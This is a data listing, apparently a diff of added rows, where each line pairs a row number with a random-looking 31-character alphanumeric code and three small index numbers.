+1156,R5E5DLJG08S8QB5RMZYZWK2XZJ6D1CT=,19,0,3 +1157,041PY8NKEC6VX97KJUTIJW18SP960RY=,19,0,4 +1158,9T9GVU1OLRT25J3GS22K52721LU12B9=,19,0,5 +1159,0ME9D06BBLCEYV5MMW6H67RD8OC7XYP=,19,0,6 +1160,GKTCOKP9J6BX3BJ1MJMDMGHHPRQRYHF=,19,0,7 +1161,BA6G19OLAI4RI68MEKK657UTOER1G5R=,19,1,0 +1162,SM5F1XQSA50Z4SI7MT6K6IZ1HYSM4RB=,19,1,1 +1163,JDFAC5OQ03NNGXP9ZQGOKBHYD4SXFCB=,19,1,2 +1164,HAIBDMRJI5WC2XJR8DPYRHQHRI1WE9P=,19,1,3 +1165,IQW7LZW0LERH0GQJGM1SZVKQSEJ9P97=,19,1,4 +1166,V4UUTKJW7SN617ONB6DS22OW7I148CX=,19,1,5 +1167,RNJZDYGEIQ4WINFQ4CG6F09YH13KF3M=,19,1,6 +1168,FBGPQ81CK8GBHH8OQZTPKB4WT5QLBUO=,19,1,7 +1169,2ZGVUGIGB2GZKV2CSPI68PV3ZV4UD8W=,19,2,0 +1170,BVTEXEO14F06BEZ2MVWIKDRF1NEYNDG=,19,2,1 +1171,Y8YWZXA3W14DRTK1MT4FVKLJJ9FTYEM=,19,2,2 +1172,MJA2YFM8IM8U3S449GB6MH28CRTZG0X=,19,2,3 +1173,QMOOR0ODKHZ1A0HVO9AOKYRV3UCKCGW=,19,2,4 +1174,2BQJVZ82ZGNEI4MUF6MOD5X0ZAK0D2O=,19,2,5 +1175,YSWT33RJCXRR0JOBHBFS6GUKTZ60IZW=,19,2,6 +1176,EDY9HZUHUGR5AOEZEH27IOU2ZN148K0=,19,2,7 +1177,HVI63FJXVRQQ798AYSBH0BJTKPC2PK9=,19,3,0 +1178,UFKIT9B7UCVHPAD8MBVW075MTBPZ1SE=,19,3,1 +1179,KHW87K1Q1GHFEGED73OOEOCO8W4HZDX=,19,3,2 +1180,5GLHS400CRM1W5F79FHJKCSDUQD9NI8=,19,3,3 +1181,GIL27EUMCNO9BZEMNHKSKOY4HKYKSM6=,19,3,4 +1269,TSRTAQR32QZNDS5FFYC98DJYSOOHDI7=,20,6,4 +1270,LN47AEG3S04KTDHGT0VKG5GQWAFR2ND=,20,6,5 +1184,L5FJURODDZ34OP6SP1UX6UE3KY89KK4=,19,3,7 +1185,HDFXT0VUOJUSHC2C9UTNRKJ9TYNEQ7B=,19,4,0 +1186,SAH5WCK2TL9OSQ9XJDE2MMGMGSCQ39O=,19,4,1 +1187,W22JWT6GZQV7W4J547FLJ3LWYND0IIQ=,19,4,2 +1188,3PGEWTE7E256US007SJR1PLF2SQLGEO=,19,4,3 +1189,LOLTK6RUM27MXC5RU5Y6L37ZQW5Q9FJ=,19,4,4 +1190,GS2G6OK63GAKHVVZ688HCZYB30ZWWDG=,19,4,5 +1191,ZKMVNTGGJ7ID66YKN8RR3ZIKCDF9VFB=,19,4,6 +1192,8R9IKW0UO9YFZHEMHHM2T4B19GDVFB8=,19,4,7 +1193,OWVC3X3X4A0B3O8B3ETFVVIJGP01TVR=,19,5,0 +1194,MO79IXQ7GQIY64OYZUNUWI76K5WL8E8=,19,5,1 +1195,V5V29NB0KOJCCBIOU28EL0I1HXV4PXK=,19,5,2 +1196,PUGTG0LBO845HAN8TYNLHXMTZNSOT8B=,19,5,3 +1197,CGIG6GVUL8ZR63XQO0M9ED3BCE4CWVG=,19,5,4 +1198,C5ARJB3K3Z7AAS1JX0HIWQC8WLYIT9U=,19,5,5 +1199,KRHU9L5MD5ORBK54F9I9LN7IJ6I6DUU=,19,5,6 +1200,ONAQ9OZKUQH8FK1MVA8CL86DXJQ3K97=,19,5,7 +1201,X0CV9P9F5DXMM7ZQH8K36GWXNTVLOKR=,19,6,0 +1202,QVP2FUX2D5CK63NHCOU6NWP0RCOMB3H=,19,6,1 +1203,HV8HOJJ837T6TKXH8K0F8PAWFTMN15G=,19,6,2 +1204,9G4ME9DZFK1RICOOZN0Q361JY3L5MHH=,19,6,3 +1205,ABE3L3U1YEH9M4QCLPVCH7L31OBTFFI=,19,6,4 +1206,0X7B8TWN8GE0ZP5EOYVSLVF22EM6X6C=,19,6,5 +1207,VIU1FV0TKK794LRA1I1ZV4SA5FVVJOW=,19,6,6 +1208,CK3VDUTOS13FYPS0Y5JSEPPJFFQ56M8=,19,6,7 +1209,IQW6GGWJKWJ7I0A8SAUKUH9IBCHIROK=,19,7,0 +1210,T2LZCFRP5HCZ9H5LQOLA1K1WJ18VFU6=,19,7,1 +1211,J7OYSH6RCW07PNLA9YW31TG6YJPDILG=,19,7,2 +1212,REHQEV40JVD85AQMRK8TVSIOLQMX821=,19,7,3 +1213,QIS2WDY5M6J32JRUL0SJE7X06JPJ5PZ=,19,7,4 +1214,154INRL122BL1OJH3POTMMNNDJVSB18=,19,7,5 +1215,NMX23SXNBZFMY33KO6DORI6NULPV46L=,19,7,6 +1216,RDS4WGKX42WXEGFXZE89EM3HMXGI4Q6=,19,7,7 +1271,EDOUJHW6TU50NDOLBXANCGAI16IVND4=,20,6,6 +1272,3JYK3IQY51EKGL2KSMQQTDNC5GGFVA0=,20,6,7 +1273,7T4K3728012SWJ553YJG3YTHMEE9M47=,20,7,0 +1274,43N0PD9O46QIER2PS97WAT45AMK4SV0=,20,7,1 +1275,4Y4MDBPA14RDX407BDE6VO8XMKGH8EM=,20,7,2 +1276,X73OP6O7VP04C0SKNAM1W98OT1IT1GE=,20,7,3 +1277,5QIKOVXE6MRD7D2GG70QPWVBZWO7FIK=,20,7,4 +1278,MQ8IR6D4O84HDKBX5SG4L3FBCKA09PH=,20,7,5 +1279,G5ZI2ZH1093CTNFZVLASPU2SPGVVXMN=,20,7,6 +1280,DGZDNE5FJV902XHBBCNTS6A5UP6UTE6=,20,7,7 +1281,SNEMUSEAIQ7E1VNBJDFWOJ19H1ERSRN=,21,0,0 +1282,XNBQWJ50TJ615EBX32TE41R4Y5RDJ40=,21,0,1 +1283,FFC9GQYB1OX3JRRPGZS2ADJNRRGDO29=,21,0,2 +1284,7EHXUHY9JT1L0OI5VAFJ0SYZ5BTRWX0=,21,0,3 +1285,NGSCAQB8ULCLXC4F7IUSGQXMORBQTTE=,21,0,4 +1286,B5IG4G5Z2WD4LDOQUC10EZHU4HBDV9B=,21,0,5 +1287,4Q531DXWIT3SYH0IYC3M4ZHOJTSDGLO=,21,0,6 +1288,Q3W0XK488B2K2KF7E2ROW1AQST17V1C=,21,0,7 +1289,GCWXMWKJ7RYD8JANFEKZGLJENRRBEOZ=,21,1,0 +1290,DMUWBISZNMCBTNJXPJA15N5DU9MM1Q3=,21,1,1 +1291,ZYP22Z0AQKLGV2344DIU47NZHMLJN1B=,21,1,2 +1292,H1B47RVX1ZA3NISKE9FX89600WOBE10=,21,1,3 +1293,XZVHSVKKAXQS4B2E3Q1KD6K1ZDRGN5V=,21,1,4 +1294,YJLU62QDJ7GQGJR94MJ8OCVJCKEEC4B=,21,1,5 +1295,Y2E6PK2ETDST96GOD3VMJZ2QS78JFPR=,21,1,6 +1296,C274FX1NU7R94GQGCIER8I6E9EPFJXT=,21,1,7 +1297,Z9AP5UQYB1DE5JU42J2O88IUCVO9JX3=,21,2,0 +1298,YUI7AZRXTG7U2XFKYQVP6EGSXRB4UII=,21,2,1 +1299,S6VLWZ84IEYX9WQRN2K9F0YJ4PEOIGA=,21,2,2 +1300,TOBKQRJSU9TQ8PAFG6NUKZNMVC54U5L=,21,2,3 +1301,W6JCKM52ERONANT1VB2KVL5D43BPL2M=,21,2,4 +1302,86DIDY8YY3QQN95SNEFQ42G134L7O6T=,21,2,5 +1303,KVKABB5GKWVJ6RYPO25Z45I8YNFZOCE=,21,2,6 +1304,16V9M7E6NLW5TJDUAFKKBN78S3OEFNX=,21,2,7 +1305,HSTL4MORQHNMXXAE9GDKTHH8BD2OL8Z=,21,3,0 +1306,KQZ5VOZPMTO7IP5CHFHDTZ0B52C58TD=,21,3,1 +1307,FWXWG5VYQSN9DDK0UJIP0XELPN9KDHF=,21,3,2 +1308,KF5QLNOK682BZOR4N5ZQWKQWOUEHYJS=,21,3,3 +1309,KYR4814P6ARU6GZH1T04JGPPQ9YF3X2=,21,3,4 +2691,FR0IJI6MLCMXTSQMSFCPEIF9G08AM8Q=,43,0,2 +2692,Q9DA0ARDIPX8QDT4C1IVMBRAY1GVT46=,43,0,3 +1312,767EJAEC1D9IKCX6AEUVJBO9BH52UJH=,21,3,7 +1313,BPPMW57MVDWZAXTGFM5P3WDSPGUVQWJ=,21,4,0 +1314,IP5HC0X7RMRLPZU7T7E3R2CFZM7DZ43=,21,4,1 +1315,H0FEBXE25OTGES840BA65SKWQNJ9EL0=,21,4,2 +1316,W1LP5W95LOQQG79J9YR490C15OO5GKP=,21,4,3 +1317,VP5WUE5JOWPO65VKXG8VXYL2X0SPX2J=,21,4,4 +1318,F2CK1LZIPAFY8N3PY1CVSJQJTPCC3IB=,21,4,5 +1319,3N8EUJHSGEQO4V48XPXSLZH5UJV8BU4=,21,4,6 +1320,B7UGEAQE17E44DVS2TEFXRPI927W1Y8=,21,4,7 +1321,VBMGQQISVDQGW69BQYMWEQCUHAOLSJY=,21,5,0 +1322,SWGU7GQUKRMJ9BRZCB8WFX6GMDVFSHC=,21,5,1 +1323,F8TX6KRT75LKJRVCPT7UBHKKWNA1JD4=,21,5,2 +1324,CFY93JYL4D515J7109V0U44UIT9CNOX=,21,5,3 +1325,YKKHOMXVH7UC27QHIX16DC5JGKQZGES=,21,5,4 +1326,HGV837X0BME40QJ5IOT96BZJRC7SS6Z=,21,5,5 +1327,52GSEHXG3IRCO5SV58FMMWJ5A73R2NP=,21,5,6 +1328,WXLV8Q7XNK8V0HZGQUIQT4KU2I1R9Q0=,21,5,7 +1329,8HRRXLAF40M53MEMZD5VFM5ILKRW0OE=,21,6,0 +1330,4NDH59NUKCQ3OT417FT1G807U6PKMRD=,21,6,1 +1331,GSPS4Y7LBLILDEAAV9O642Y9053JZEF=,21,6,2 +1332,SNMO4CFVFTWZO7Y0AZLGYOQ8D8RNF19=,21,6,3 +1333,CHNEUGZ2ZK6XUVBTBMTN87NQVV0WVIH=,21,6,4 +1334,IYM4P0NAFCOG0A72UF1O9U4N1P64BB6=,21,6,5 +1335,YVXFBE4YNOEACN79WKBBTH4UG9IRL3I=,21,6,6 +1336,MBPUHJYXOA5MIQKJEDZ3BQZXUIIMY6R=,21,6,7 +1337,2DKAFZLVQWGNZ4MOCA7DCC5WZMOM62Z=,21,7,0 +1338,1O50E0OERAMN1V7KK2KBKBTI8Z1PTD0=,21,7,1 +1339,IM7S7Y7WXD0TR5HFOHR75HMSO2SOQUI=,21,7,2 +1340,S6VW9NI8BYK3OX9V5GTISR73149TRW8=,21,7,3 +1341,O44PKCPG4WGVGGOZ4XY4PSDJHUD8VEM=,21,7,4 +1342,0KVNH2BRXSH7AFHPRIL40YJ2N3IG7VW=,21,7,5 +1343,IH8OQ00QJ6X4XNK8YZ11R7FHHFIVOKP=,21,7,6 +1344,L2OW24J4KL1MIT5PCPXCHM7G2BIWQ7X=,21,7,7 +1345,S1PMOX9IOMDGWW1N9WAF1XVCSR0VUJZ=,22,0,0 +1346,UDB0FHKI841OMS68YCTRZM77JP61I79=,22,0,1 +1347,6Z6CNJ2GBO035WFAL7GM8BNMZLY2DBZ=,22,0,2 +1348,YT2WXMH08JYP4HDDKL6O567TE4FOGWV=,22,0,3 +1349,RULJ34YKNBEV93WS2ICTOGPNZ18XKGX=,22,0,4 +1350,8YJ9M9AM4GSCWMJXTG4EFZPMAJ3H4I8=,22,0,5 +1351,10OY8TBSKP053V0996JDF909MMWC296=,22,0,6 +1352,F579QYL55FDKZUU00460RZ9QK8MSRRM=,22,0,7 +1353,GISUKOE6GG5AG3UZ0VM3TOCXEL974MT=,22,1,0 +1354,PG97D234VNKI1TTDBTC5SUXHZ1PTTMR=,22,1,1 +1355,6MCTK42UIVBEQZFN2I3SMT3SHJ11WAI=,22,1,2 +1356,2V4FJI27IZJRU1DRCLKBJXUIF3LJZXT=,22,1,3 +1357,787YWVFPI81DK7N4S7U7L6I0WVJDVB9=,22,1,4 +1358,GBFZ593S0KUQKTPQ9EYOXJW1OV6C7A2=,22,1,5 +1359,URIOFODU2T94DTGZTOYTKBZQ7ORBG4O=,22,1,6 +1360,OIOII0WWW4H6S3636NVA1KK8WVLXDSN=,22,1,7 +1361,UDTJPIS206CFI5MHOXHW2JMBMGFUCNJ=,22,2,0 +1362,CZLSPCYL4UGEVDUZGA5WF109X1CYPYM=,22,2,1 +1363,KYABJSCV5D7QDCPT8ZP0T0TTGQON5WB=,22,2,2 +1364,13AV71FMKAIARQESIKSI02JW8X0C4WH=,22,2,3 +1365,R33PF8VU4PFAXA4GYCJNIXSPG13QBBN=,22,2,4 +1366,0Z3HHJBKKP3Q7PYL0HMTNGV2NGN9X6A=,22,2,5 +1367,Z8DR22BF7PDPCMN059YR4WBYUXDLDUA=,22,2,6 +1368,AR487U1IER6PR4V664DXXRCN165WY69=,22,2,7 +1369,CHA0EBEMMNQ7H5ILB34JIIF03IX7O17=,22,3,0 +1370,C7HAYOYNKWPP4QOGN998HIQGHUWT903=,22,3,1 +1371,OBZOKN12595MB1GHX029PJPE5UXHFFK=,22,3,2 +1372,W95WSEXGU5U6XA9LP5RMMNN7ZWU79AR=,22,3,3 +1373,GPT3UQYI3K8DW2P49UWGE2LB4QFHQLO=,22,3,4 +1376,15C3DZGH9LE0KPZ9Y2HX5RJFB0YUDRX=,22,3,7 +1377,UK2VAEYOF2HRKMVGTYD91A3NHJNYZ8T=,22,4,0 +1378,VHRZP7NSHS15RPZDO5Z3V8S6LRV5DJR=,22,4,1 +1379,Q1EWMS7MGMQSFBQIPS5Y0X1QHPZCP2O=,22,4,2 +1380,LE1PFBSPECVJVWWC0NQYYGMRM2EEK8L=,22,4,3 +1381,MNTRSY2Z0NEUWKWE3GOL57E2UQ8GWMF=,22,4,4 +1382,7HH2Z8JPU2LQ2BKRDZXE7DHCSXQFSNO=,22,4,5 +1383,HEWZGLKYBYF8VOS1LGPN62BEYZ5DPIE=,22,4,6 +1384,CJRK6C18WZE8V4ZJCFQ4UQHIUBOVNO7=,22,4,7 +1385,44GU4PX8KS5IQKKK6Q3J5AS9AIIBJKR=,22,5,0 +1386,WMZE9B5MAF133UYLM022TTU1PFSC7I4=,22,5,1 +1387,GWU6V35STFY76MYB1ABOFTMWO3FE6SL=,22,5,2 +1388,XZ9ZPRQGPBLH59EW6FN23U88S013TXM=,22,5,3 +1389,Z3EWGBBF2W1MFM1IUETJAAG3BRGHWSF=,22,5,4 +1390,FP4GCPSHUWI3QEUV5F4FC3S9GAUYGUS=,22,5,5 +1391,BO1N4M5MV51ZEU43I2NPY8ZQQNSO89B=,22,5,6 +1392,WLNGNMXY5WP08I0P52XAHVGE014CNK9=,22,5,7 +1393,F36B5QHBZ8TDWZ174N658L48XXIVLY4=,22,6,0 +1394,0BR8O160XHWJBWBA1ZBJSLW444M918U=,22,6,1 +1395,905RBJ3UJ7QZ0ZPZAR1C763CMYQMM4T=,22,6,2 +1396,E26DPMFO3X0RBI8WDGSE6CVYNPC1DXB=,22,6,3 +1397,1ZFT7E7SB59B4R235C5CBGAANLS1ZB4=,22,6,4 +1398,YT3I8VVDV80XK73LHG457QTZNV3AOUR=,22,6,5 +1399,BTB32V6ENMFPSOAJ59R8B2JKN1LZCA1=,22,6,6 +1400,6ZW4Q49MJ8JMJJ1735GLNG8OR9T7J8O=,22,6,7 +1401,C5UQ7OSSB1WUCIQG22HQ2MAZFAL0KII=,22,7,0 +1402,67HYJVDW9SA1EB3AK0RQFNB2D5TED89=,22,7,1 +1403,QMLBFMDDJXL9M5P0JRKO0HZYBSGS33F=,22,7,2 +1404,59MWT4MQ1UQSZYLLEHJJUMYCOXF3P5C=,22,7,3 +1405,GQJ6ZOWX6TKSWEQVUEV360X4Q7DES8W=,22,7,4 +1406,UBBV6NCS2QBEJOZSKWB7UG6B7NATEFK=,22,7,5 +1407,0JHUCEA7W0EVQP04X9IR03IZ9VGO0X5=,22,7,6 +1408,2YY48VJOY3S9ZP9N56MXIVEWB51DUJQ=,22,7,7 +1409,UVTB4C4AFOJ4VDV827HC0NHOL22TN74=,23,0,0 +1410,IBHLCJJRP861CHHPVUHMMBCJ3J652S6=,23,0,1 +1411,VCR0RO7NIC23RTK8ROG35U8MNHFJCGL=,23,0,2 +1412,1BHIOGS0UV6WBU22IZ5Q3QF3NL2M7UH=,23,0,3 +1413,INVKZ8TBWB45D97BSY8JNAOOQBEMF9A=,23,0,4 +1414,50SJ8ESWPOBCG0X9MZ4OZ240W4M9RI3=,23,0,5 +1415,K2V1X8P2Q820NSK4L4EAQ8MTKPS928D=,23,0,6 +1416,58LII8FAMG4KJ3ZB09JDGDCHGB6T0J4=,23,0,7 +1417,1R3GOOIP93562YJCVYV984513R2ZP0V=,23,1,0 +1418,DG0EEXC4RN90WPV6S4KZHNYKMEWV0DS=,23,1,1 +1419,2FP7VGO37I5N5WUNHU0VESDOL87TJUT=,23,1,2 +1420,BS9CDOUL6EBDC01YYF7QI9QLSC48NAD=,23,1,3 +1421,X6PA8Q1IHAVRJ6FPE1W42N0J2HOB9OT=,23,1,4 +1422,TBK63BDJ8QK7RDEM86XMSV7C5817RBK=,23,1,5 +1423,75M70VRLVZK9K0RO3W8Q8EDPBFAH1UG=,23,1,6 +1424,IKNI9VF5NOFPABCR7G52REU4GIVSJP0=,23,1,7 +1425,IQ05DURUUL5J66TRZN83FTZ52UCQIQB=,23,2,0 +1426,E1XL8RGC9HYM16CYZJEQMNQCABFJN3T=,23,2,1 +1427,UTNK432TR5M4L9R5OE1LHS33684MTTI=,23,2,2 +1428,Y5NSUGOARI8KY6A3C7QO0LXGJU20DFX=,23,2,3 +1429,KLOWYMMHI6VDEVGZDKR9R320I6CXSPH=,23,2,4 +1430,1LW30QSCI9YLY8QFXTU81CAMJ7705KO=,23,2,5 +1431,GGJ28VB28A1WICNXW4UFRPSE6HJ0Y69=,23,2,6 +1432,7OI16ISSRDXB5GW1BVL97BJ0RN9021D=,23,2,7 +1433,0KQ96F0TD0JIAS804QQ49DCS73BZRFN=,23,3,0 +1434,W7A65CWUITW2B203U0622VHHG6F68LS=,23,3,1 +1435,KD5VL9PJBQRXTK6BFIP12ADX8RG17OE=,23,3,2 +1436,X49XNWM8FOM0XAOPO37L79DGALD8RGC=,23,3,3 +1437,IDI5MQ00NZ39SAZXU5DR2TSIPBUDTZ1=,23,3,4 +2693,4H81RJYOJO3SOVKP0S1AE6073OKDF80=,43,0,4 +1440,HAQKPJ71RG72943ME074B88FC3HL1OH=,23,3,7 +1441,YKYX7SOV3ZI74IQ2BEF83GAQDIH1CQT=,23,4,0 +1442,4E4A3FFTRET81NZJ1J79O5FCPSL76Z6=,23,4,1 +1443,BS7FRCS3BWN5UI3RV8371HIT75TM1CE=,23,4,2 +1444,UECPL93I81LYT3ZEMT27YJ1BRTWN8H6=,23,4,3 +1445,DD70R00B7NZMFH1AOVKB4RXG4ZPQOF9=,23,4,4 +1446,6G7ATT4H00H32AKUXY9ECXVZP4PS0KP=,23,4,5 +1447,BVTPJJQU9228BST2FJNG6LU7YFLCXFB=,23,4,6 +1448,RNN35O981XNN1FXQBM8LRX7YMI2S9R5=,23,4,7 +1449,XNATICS9ZXW7EA0Z2QBTU2I71CWZE1K=,23,5,0 +1450,MB8CBZFQZ146KER8HUMZ178JBPSL8V6=,23,5,1 +1451,RU51J7YM65TH39VAZTDFOIXBBS9QNUA=,23,5,2 +1452,PI4NNZRKJSBJB1ROEZHRKT3A3DNBU7D=,23,5,3 +1453,X5G7TN6NG8Z9EHVZM4WJRM4RB5L2GG6=,23,5,4 +1454,YNFFRQ0Q1DNMTCQKYRF0T5JAHV2D2OR=,23,5,5 +1455,EXILHB88PPVX53ES4GXOYHCAJVP5ZS9=,23,5,6 +1456,7H9LS65DR2EV3QUPQQSKQA8IMNNBVKU=,23,5,7 +1457,H8ZL7OGQA7SVN5C2QUJG7CHTO1FM4UA=,23,6,0 +1458,2OJIA79HGYKL2U9WL10GODDTJGHBOL0=,23,6,1 +1459,ZQ2QFTGLF3CDX619DYTMWAP11GF4EMC=,23,6,2 +1460,85VCC7F4RLN31WH3D4HPUMBUUSSYFLF=,23,6,3 +1461,XPJ4TVMGZJ297HJQ682HG4B2LI6FOKB=,23,6,4 +1462,9PNNDEG1BYU6ZI2OH9GYU6CXS3UCIZQ=,23,6,5 +1463,S71DPR28TK7NL47ERIT7VU224UQ3SIU=,23,6,6 +1464,MN32DF8N2VVTP0WKNZBSGBW4E08B3T4=,23,6,7 +1465,XW64DJP9OJNZT04OEUK0FWEZP8ZT18B=,23,7,0 +1466,L05IZ1J4THD6EX1ISQXQ6URVX6BCF09=,23,7,1 +1467,PDDFMIMXVHN8I8DCBM4LLR0UQ2MUCOB=,23,7,2 +1468,9F7DQRQB8W3TEKZGUOA6YPPFZ6LVYHZ=,23,7,3 +1469,AW8618FYQF0TE2ROA4N2442Q3VCCXTX=,23,7,4 +1470,POZJEH3BX8PQT2B20E5VC9ZVRQ88KWP=,23,7,5 +1471,LVKK66ZFG0EAQ6WGZGF85C29HIM5KZV=,23,7,6 +1472,DE7847EGCMYDU61LCPUOO860JOAUXCR=,23,7,7 +1473,OPBFXR8196JS3NZO9ILP85OGB2W2MNB=,24,0,0 +1474,MS0RC359YZ4KH2R7181O9T87DD2WDXZ=,24,0,1 +1475,YZM3DGRWJS75XTR0YCUG9SC3VA3ZH9Q=,24,0,2 +1476,V9B6TN27DA703QSZG22V2H354N71ZSP=,24,0,3 +1477,FHT54XYDYB2YOT1OLJ6ZEO0780EU2FD=,24,0,4 +1478,04XSTVMP49CEP4BN5PL20TWPETII6JT=,24,0,5 +1479,BUI0MAYAA3ZD9UUMPWB010BL6G5O4C5=,24,0,6 +1480,3V3IAZX99P499H3W7YTTXCFEMLY551W=,24,0,7 +1481,1WYE5ME55LOP3PGKJXLVFOYW40N68E7=,24,1,0 +1482,8NYKWV3JK40M4NS9U15Q5ZN81KGDTXK=,24,1,1 +1483,4O9IXTZKPVVH5EV3VK3LEAUXPQ682P7=,24,1,2 +1484,VHGSVF8UPWM24PEU4XO1QNYQ64BDPZA=,24,1,3 +1485,FNMW2FMR5GECH3Y4EUWY9X34IXL1CIT=,24,1,4 +1486,I5SM4V9SLS8BAV6LAO9OC8CLVV2G6J5=,24,1,5 +1487,PBB8PEGSNIL0K4CWRU0W8MUGDRUXUF2=,24,1,6 +1488,A8K73JRG0KNH144G0PLX80YDEF0JHLQ=,24,1,7 +1489,OMOSMA1AKPAQKIKT46CRZNOPB4F83CL=,24,2,0 +1490,DMIURR7P03W2CNPTMKW3MUEMRADDY7K=,24,2,1 +1491,13NZRPBFGHD5QSGJHSR9CFUYOO6MNEQ=,24,2,2 +1492,ONXA6I96NURZOBQ4EM2C4JXD8OAV2RL=,24,2,3 +1493,VXKTTADR90855AQBLZJJHQ5YEYNM31N=,24,2,4 +1494,2FQO8PNF2I4WXWA05EUDRFVO7P5O7IS=,24,2,5 +1495,HGMPRLE3FCP1KLTAI7XM557UPML43SW=,24,2,6 +1496,4YZLKFIN0JZRP4BHHYMIXPUPJCY6F3M=,24,2,7 +1497,OMF82YBWRSFZADT36XYFL0FRG2L7T65=,24,3,0 +1498,L8VFGJEFKW4XSKQJ2BL0HGM96L1W4FM=,24,3,1 +1499,IJC11Z8ICDP9XUVM0XA1HMN8FT5HMAL=,24,3,2 +1500,F3LYY2E6NUB1KHL2WGGRMDQ7PW72WZC=,24,3,3 +1501,7DRL6CMOBTTPHGEEKUK0WRCDJBDK5OG=,24,3,4 +1504,XG53ZJWHJ4WJSYGL8HZAVPE9TC2ELQO=,24,3,7 +1505,KJ9TQW41D1BFQHSFD4T77TM0CC3FRQH=,24,4,0 +1506,J8J60KRBAJSQ3M300MMTZQ0Y0PCKWU2=,24,4,1 +1507,F3N5NPU9TQD4RGHVMOAFWW4CCAXGYIX=,24,4,2 +1508,2ISI7S5NHEEUMO7NKO7V44XO3U8V27Z=,24,4,3 +1509,UUDFGHD71C9NZO9MV9Y1ZEXK64QHSID=,24,4,4 +1510,RGI8KJ376WR4E389I47LDJJNFHOHLBZ=,24,4,5 +1511,6POBCJPNOVJX5BJGYJMD9XZKZUWWB6X=,24,4,6 +1512,JOLBZZQMF5NSDOBG70QMD2RFK150JSO=,24,4,7 +1513,MA4SKYH8VWAUHH7JPVI8IHVLZ271T8Q=,24,5,0 +1514,P6PJKDEOQOSRXW8LLUTHLEZM7EMLRA7=,24,5,1 +1515,V5UID7KDEW2CSVNDCTN4U07YKSQ2AK0=,24,5,2 +1516,2E9KZ5ZH22X0HY102PICU95UG8D38HL=,24,5,3 +1517,34BPAX1FFPK3NRR8P4AMGOOTOZ136I5=,24,5,4 +1518,LXBRST7D119RB46J9WUAG91CUMGGSC4=,24,5,5 +1519,TODTQ6NX9K8C7A12TCT1K7C1GCYN50O=,24,5,6 +1520,PMWKY2FJEZGO7PGLYM7VKQ784A0JIHI=,24,5,7 +1521,KHDXC70G6GY1Z17E1J503BA21BGLUBL=,24,6,0 +1522,BXWIRPZG2JSEJPTOJP0TNVGIFAU4QOV=,24,6,1 +1523,QX9KUHHAD2DC1P42KICUZ61ZB74T140=,24,6,2 +1524,C0240S0ZE4IXH512NUFNO0WOV9LRSGH=,24,6,3 +1525,0QEE7SK6VSZS8L52UN5DAKFS52037DC=,24,6,4 +1526,XX8XHXBB2R8BIT651YDDKXBG90HG2HE=,24,6,5 +1527,SAGFUWYSQ16KLMXUU6E8PLZUP63HGAP=,24,6,6 +1528,M8LUO49SO9I719D45H09PNAO826YHCN=,24,6,7 +1529,TK1XG3FXAPEEH3EYUR2MWN4XKX8IIU6=,24,7,0 +1530,YWNYV8LGZFN5APB07UQ8Z1E9VJYCSU6=,24,7,1 +1531,NNHBK40TQVNUYZ4NFET9VJEHIYJHAL9=,24,7,2 +1532,P79Q3ANBW3KLP94KA5JD40W7W0TY4FH=,24,7,3 +1533,X2VF5H7X5ZO2M2KRNVSJK5GQPJB8TTB=,24,7,4 +1534,UX21Q1IZAAMZOTPW3XGLCKKTVVW8881=,24,7,5 +1535,7LWZ4PFORH7JVMPE9RTUJQ2QPXFA9P6=,24,7,6 +1536,NSFSTKJSGQX1HMR3HG68YREDG1HTRTD=,24,7,7 +1537,ETT5VAQDWCHA08KZNSVWV3J4WRKTEQ3=,25,0,0 +1538,Y8S8SQW8NY9LC9RO0TJ5YHSSOKNLH50=,25,0,1 +1539,B2M4J1OE8EPKLXQRZ3AYJWFW0H0YYM4=,25,0,2 +1540,4X1S5N4VKI4PR4FOHOQNKXJAWAJUJO8=,25,0,3 +1541,36R7ANROUBTYQEHXLLIFINP4K8TUJMS=,25,0,4 +1542,9G9ZU55HGV4IO95042IGZDPL2254QP1=,25,0,5 +1543,345KMV50GJD1PHLXDTGFJQV4W2PHQ8V=,25,0,6 +1544,GU41LVMBZST3OD7AXGB5FQUKX15K1RY=,25,0,7 +1545,OJ5IMX94YRLIJ1DKJ6MS6N6G6QZ8GT9=,25,1,0 +1546,28LRVVBVOPNSBFMYBBSL96CRQO4DCJJ=,25,1,1 +1547,NQCNVW6U2MCMRCO32NWYR8QH1GOVU84=,25,1,2 +1548,Q4A1IJ7IIXNA5V4955C5QMRMC0A18DR=,25,1,3 +1549,3EB8BYCKUAI7CST1CUZEIU8D3ZXRKGR=,25,1,4 +1550,ZZN3F2GPC7LSQ7LEV75Q8T94FJG642M=,25,1,5 +1551,PMJQ4A0ICEUONE6KZTZN96DPDRVJOSD=,25,1,6 +1552,T5WL7WHI1DAQNEH7E1JQ8AUXROT8CCL=,25,1,7 +1553,2MW1KNTJ4K6IVS2P8PDRYA8NVUCRVFG=,25,2,0 +1554,LJCVLFQQWHL5AE1Y81CFJ8TPOCJTDBB=,25,2,1 +1555,5XYUGNP9LVUSXRWKVDSBXK1K6V41IEU=,25,2,2 +1556,FKKDJX4E1NA4SZNQF5KTRFCPVM6Y8PN=,25,2,3 +1557,Y18T3YMJBC1TD6MUY1M2R3CVZ23QEJR=,25,2,4 +1558,1SI5K9XVZNPKFQ1BC7YB2YKIZDG88OQ=,25,2,5 +1559,3524183RE2N4A1QZDPNFFLPSNWL971C=,25,2,6 +1560,AJJIOIN0K8GV1EKV388B6ISHEH6YII4=,25,2,7 +1561,P0ZSY4VA9TQ49A9XN156V8LV6LF1C5V=,25,3,0 +1562,8TMTERY4KDHBRUQJ3RFIV552FTQXUCL=,25,3,1 +1563,WCWZDYLCLE23PWACK1NV0VUIBIZXKOW=,25,3,2 +1564,MNZ4RTYXZWAYPBC0WX9AIJ7ET4LZTDL=,25,3,3 +1565,CUC36IF94EFN02LIQVZ78Q3CFMC387A=,25,3,4 +1568,QLGFFVCATTBIYEBUXP0BIC6QULMOF4V=,25,3,7 +1569,9HC6ADQR9OV1ETJSH8WOWWHP45SM525=,25,4,0 +1570,LIVV99J5G57KFJ146V25XZ05JTWHGDR=,25,4,1 +1571,7JEPWUV2GT4NWUSZ4BHJZU66VQ1KLSI=,25,4,2 +1572,34BNSKMD4QNLQW4OYALP55PS1VSVATO=,25,4,3 +1573,I17MFJ5O0AGFF2U15NE6SROHA5H3P49=,25,4,4 +1574,7VK2WXTZI23H1N8ON4D89RS5WCB2NMA=,25,4,5 +1575,GB1525UT3Z91X41QFBZSBZPF6RCPA7J=,25,4,6 +1576,PW4W6WWGA6QG55NH3QY1QVUA7Q7YG6W=,25,4,7 +1577,ID7XQ2LY1ZOPXWU0UQQLHP2YXNK9AZ3=,25,5,0 